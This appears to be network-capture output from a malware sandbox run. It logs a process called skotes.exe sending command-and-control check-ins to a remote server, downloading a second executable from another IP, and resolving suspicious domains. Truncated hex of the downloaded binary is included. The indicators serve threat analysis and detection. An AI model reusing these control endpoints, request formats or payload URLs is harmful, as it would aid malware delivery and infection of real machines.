Dec 17, 2024 22:06:40.436913013 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.436959028 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.437388897 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.437433004 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.437561989 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.437606096 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.438440084 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.438488960 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.439085960 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.439132929 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.439507008 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.439570904 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.439583063 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.439615965 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.440625906 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.440670013 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.441090107 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.441138983 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.441694021 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.441739082 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.441900015 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.441947937 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.585024118 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.585081100 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.585125923 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.585165024 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.585612059 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.585624933 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.585654974 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.585669041 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.586641073 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.586688042 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.586976051 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.587132931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.587745905 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.587788105 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.588061094 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.588102102 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.588592052 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.588638067 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.589235067 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.589278936 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.589404106 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.589459896 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.590188980 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.590238094 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.590656042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.590699911 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.591222048 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.591262102 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.591588974 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.591634035 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.591700077 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.591743946 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.592627048 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.592669964 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.592775106 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.592817068 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.593535900 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.593686104 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.593713045 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.593732119 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.594645023 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.594693899 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.594899893 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.594944000 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.595587969 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.595633030 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.595808029 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.595846891 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.596672058 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.596719980 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.596756935 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.596812010 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.597701073 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.597748041 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.597822905 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.597871065 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.598793030 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.598839998 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.599225044 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.599278927 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.599881887 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.599924088 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.599986076 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.600029945 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.600970030 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.601013899 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.601047039 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.601088047 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.602020025 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.602063894 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.602096081 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.602133989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.603059053 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.603102922 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.603254080 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.603291988 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.604149103 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.604199886 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.604443073 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.604480982 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.605197906 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.605238914 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.605581999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.605629921 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.606462955 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.606515884 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.606553078 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.606604099 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.607603073 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.607614040 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.607651949 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.608411074 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.608453989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.608490944 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.608532906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.609525919 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.609572887 CET	49825	80	192.168.2.4	31.41.244.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 17, 2024 22:06:20.749852896 CET	192.168.2.4	1.1.1.1	0x208b	Standard query (0)	pancakedipyps.click	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:06:32.308346033 CET	192.168.2.4	1.1.1.1	0x8b6c	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:06:32.308440924 CET	192.168.2.4	1.1.1.1	0xbdcf	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 17, 2024 22:06:35.623883009 CET	192.168.2.4	1.1.1.1	0x5f66	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:06:35.624043941 CET	192.168.2.4	1.1.1.1	0x9c21	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 17, 2024 22:06:39.297651052 CET	192.168.2.4	1.1.1.1	0xcaee	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:06:39.297712088 CET	192.168.2.4	1.1.1.1	0x6bef	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 17, 2024 22:07:04.105041027 CET	192.168.2.4	1.1.1.1	0x5fcf	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:07:04.105238914 CET	192.168.2.4	1.1.1.1	0x3a2a	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 17, 2024 22:07:07.470211983 CET	192.168.2.4	1.1.1.1	0x98a4	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:07:07.470690012 CET	192.168.2.4	1.1.1.1	0x13da	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 17, 2024 22:07:14.707959890 CET	192.168.2.4	1.1.1.1	0xef55	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:07:14.708122969 CET	192.168.2.4	1.1.1.1	0x14	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 17, 2024 22:07:16.376296043 CET	192.168.2.4	1.1.1.1	0x8958	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:07:17.395661116 CET	192.168.2.4	1.1.1.1	0xb350	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:07:17.395705938 CET	192.168.2.4	1.1.1.1	0x2f5d	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 17, 2024 22:07:20.243212938 CET	192.168.2.4	1.1.1.1	0x2b25	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:07:20.243284941 CET	192.168.2.4	1.1.1.1	0x2178	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 17, 2024 22:10:07.615873098 CET	192.168.2.4	1.1.1.1	0xcc87	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:10:07.615873098 CET	192.168.2.4	1.1.1.1	0xd3b9	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 17, 2024 22:10:09.967262983 CET	192.168.2.4	1.1.1.1	0x9e88	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:10:09.967262983 CET	192.168.2.4	1.1.1.1	0x5aa4	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 17, 2024 22:10:13.226824045 CET	192.168.2.4	1.1.1.1	0xef35	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:10:13.226954937 CET	192.168.2.4	1.1.1.1	0x182	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 17, 2024 22:10:31.793010950 CET	192.168.2.4	1.1.1.1	0xe6c1	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:10:31.793010950 CET	192.168.2.4	1.1.1.1	0xb604	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 22:06:21.062438965 CET	1.1.1.1	192.168.2.4	0x208b	No error (0)	pancakedipyps.click	172.67.209.202	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:06:21.062438965 CET	1.1.1.1	192.168.2.4	0x208b	No error (0)	pancakedipyps.click	104.21.23.76	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:06:32.526303053 CET	1.1.1.1	192.168.2.4	0x8b6c	No error (0)	httpbin.org	98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:06:32.526303053 CET	1.1.1.1	192.168.2.4	0x8b6c	No error (0)	httpbin.org	34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:06:36.319416046 CET	1.1.1.1	192.168.2.4	0x5f66	No error (0)	home.twentytk20pn.top	104.154.220.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:06:39.436003923 CET	1.1.1.1	192.168.2.4	0xcaee	No error (0)	home.twentytk20pn.top	104.154.220.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:07:04.407593012 CET	1.1.1.1	192.168.2.4	0x5fcf	No error (0)	twentytk20pn.top	104.154.220.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:07:07.607395887 CET	1.1.1.1	192.168.2.4	0x98a4	No error (0)	twentytk20pn.top	104.154.220.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:07:14.844969034 CET	1.1.1.1	192.168.2.4	0xef55	No error (0)	www.google.com	142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:07:14.845632076 CET	1.1.1.1	192.168.2.4	0x14	No error (0)	www.google.com		65	IN (0x0001)	false
Dec 17, 2024 22:07:16.762875080 CET	1.1.1.1	192.168.2.4	0x8958	No error (0)	sweepyribs.lat	172.67.129.27	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:07:16.762875080 CET	1.1.1.1	192.168.2.4	0x8958	No error (0)	sweepyribs.lat	104.21.2.110	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:07:17.533613920 CET	1.1.1.1	192.168.2.4	0xb350	No error (0)	twentytk20pn.top	104.154.220.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:07:20.381773949 CET	1.1.1.1	192.168.2.4	0x2b25	No error (0)	home.twentytk20pn.top	104.154.220.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:10:07.754661083 CET	1.1.1.1	192.168.2.4	0xcc87	No error (0)	httpbin.org	34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:10:07.754661083 CET	1.1.1.1	192.168.2.4	0xcc87	No error (0)	httpbin.org	98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:10:10.107794046 CET	1.1.1.1	192.168.2.4	0x9e88	No error (0)	home.twentytk20pn.top	104.154.220.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:10:13.364773035 CET	1.1.1.1	192.168.2.4	0xef35	No error (0)	home.twentytk20pn.top	104.154.220.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:10:31.930663109 CET	1.1.1.1	192.168.2.4	0xe6c1	No error (0)	home.twentytk20pn.top	104.154.220.71	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49750	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:06:03.842344999 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:06:05.191029072 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:06:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49758	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:06:06.824790001 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:06:08.172816038 CET	906	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:06:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 63 62 0d 0a 20 3c 63 3e 31 30 31 36 37 32 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 64 32 61 63 30 31 30 31 65 65 37 30 62 62 31 31 64 31 34 30 33 37 31 38 30 64 61 65 39 33 66 61 31 39 38 39 61 35 35 33 36 65 36 23 31 30 31 36 37 34 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 36 37 34 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 36 37 34 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 [TRUNCATED] Data Ascii: 2cb <c>1016723001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d2ac0101ee70bb11d14037180dae93fa1989a5536e6#1016740001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1016743001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1016744001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1016745001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1016746001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1016747001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcf70964e03ac52ea484b411b9dc4e1#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49763	31.41.244.11	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:06:08.494465113 CET	66	OUT	GET /files/6521298510/DxfmGsU.exe HTTP/1.1 Host: 31.41.244.11
Dec 17, 2024 22:06:09.623778105 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:06:09 GMT Content-Type: application/octet-stream Content-Length: 30208 Last-Modified: Tue, 17 Dec 2024 19:17:00 GMT Connection: keep-alive ETag: "6761ce2c-7600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b 4d 13 d0 cf 2c 7d 83 cf 2c 7d 83 cf 2c 7d 83 ac 71 7e 82 cd 2c 7d 83 c6 54 ee 83 c4 2c 7d 83 cf 2c 7c 83 e6 2c 7d 83 a1 71 74 82 c1 2c 7d 83 a1 71 7f 82 ce 2c 7d 83 52 69 63 68 cf 2c 7d 83 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 e5 d4 8c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 60 00 00 00 16 00 00 00 00 00 00 82 22 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 00 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 76 00 00 78 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$M,},},}q~,}T,},\|,}qt,}q,}Rich,}PELf`"p@@vxup.text^` `.rdatapd@@.datap@.relocr@B
Dec 17, 2024 22:06:09.623945951 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 81 ec 60 03 00 00 53 8b d9 8b c2 89 45 e8 89 5d f0 56 57 85 db 0f 84 fe 03 00 Data Ascii: U`SE]VW=4@0L%C%uj2XjFfXjAfXjufXjtZjhfXj/fXjDf3f
Dec 17, 2024 22:06:09.623959064 CET	1236	IN	Data Raw: 89 85 02 ff ff ff 58 6a 61 59 6a 62 66 89 85 28 ff ff ff 58 6a 73 66 89 85 30 ff ff ff 66 89 8d 2a ff ff ff 66 89 8d 2e ff ff ff 66 89 8d 32 ff ff ff 59 6a 65 58 6a 2f 66 89 85 36 ff ff ff 33 c0 66 89 85 3c ff ff ff 66 89 8d 34 ff ff ff 66 89 8d Data Ascii: XjaYjbf(Xjsf0f*f.f2YjeXj/f63f<f4f8YjCXjrfEXjyfEXjpfEXjofEXufE3hp@Wff,f:fUfMfE7%PW8@ElMM%@%=,
Dec 17, 2024 22:06:09.624053001 CET	1236	IN	Data Raw: 00 85 c0 0f 84 35 fe ff ff 6a 00 8b d6 0f b7 0d f0 84 40 00 8d 45 a4 80 7d 08 00 50 0f b7 05 d0 84 40 00 0f 45 c8 0f b7 c1 8b cb 50 e8 d7 29 00 00 83 c4 0c fe 05 ca 84 40 00 e9 ff fd ff ff 81 fe 22 04 7c be 75 3d 83 65 90 00 8d 45 f4 83 65 f4 00 Data Ascii: 5j@E}P@EP)@"\|u=eEeMPE!b+Y!j8<ueMEIt2vnt*.t"WtxtuYTe
Dec 17, 2024 22:06:09.624067068 CET	1236	IN	Data Raw: 00 56 e8 33 1c 00 00 56 8b d7 8b cb e8 df 24 00 00 83 c4 14 e9 5b f9 ff ff 55 8b ec 83 e4 f8 56 8b f1 57 85 f6 74 3a 8b 3d cc 84 40 00 8b cf e8 41 1c 00 00 85 c0 74 0c 6a 01 8b d7 8b ce e8 6a f5 ff ff 59 8b 3d ec 84 40 00 8b cf e8 24 1c 00 00 85 Data Ascii: V3V$[UVWt:=@AtjjY=@$tjMY_^]@3q@B@\|@%@U=@SW]ut3k\|=VuuH\|=uUE
Dec 17, 2024 22:06:09.624145985 CET	672	IN	Data Raw: 54 06 74 0e 3d 17 00 03 3d 74 07 3d de 33 32 0f 75 3f 0f b7 0d f8 84 40 00 a1 f4 84 40 00 8d 04 48 50 8d 44 24 18 50 68 fc 70 40 00 ff 74 24 18 e8 31 17 00 00 ff 74 24 1c 8b 15 f4 84 40 00 8b 4d 08 e8 d5 1f 00 00 83 c4 14 66 ff 05 fc 84 40 00 8b Data Ascii: Tt==t=32u?@@HPD$Php@t$1t$@Mf@D@3L$fHD$ PS4@t5@L$^[]UfE"fE#fE,fE+fE?fE@fE8fE(fECf
Dec 17, 2024 22:06:09.624232054 CET	1236	IN	Data Raw: 24 80 00 00 00 8b 5c 24 14 53 68 30 74 40 00 56 e8 8c 14 00 00 83 c4 10 8b cb e8 dd 13 00 00 8d 44 24 28 c7 44 24 28 40 00 00 00 50 ff 15 3c 70 40 00 8b 4c 24 30 8b 44 24 34 0f ac c1 1e c1 e8 1e 50 51 68 48 74 40 00 56 e8 53 14 00 00 8b 1d 94 70 Data Ascii: $\$Sh0t@VD$(D$(@P<p@L$0D$4PQhHt@VSp@$ 3GWPW;$;t$4PWhXt@j$ jD$GPWj$ u_^[]UdVWhh@p@ughF@jjp@E}
Dec 17, 2024 22:06:09.624295950 CET	1236	IN	Data Raw: 00 00 8b 0d cc 84 40 00 e8 1b 0f 00 00 8b 0d ec 84 40 00 e8 10 0f 00 00 8d 4d d8 e8 cd 15 00 00 89 45 b8 ff 75 b8 ff 75 dc e8 2f 2d 00 00 59 59 0f b6 c0 85 c0 75 02 eb ea 8b 4d dc e8 e7 0e 00 00 68 d4 84 40 00 ff 15 34 70 40 00 6a 02 58 d1 e0 0f Data Ascii: @@MEuu/-YYuMh@4p@jX@@Au@j8p@_^]SVW3BB?-uw>#uFj0[8u<9kJBF:}>.u<9kJBF:}j[<lu
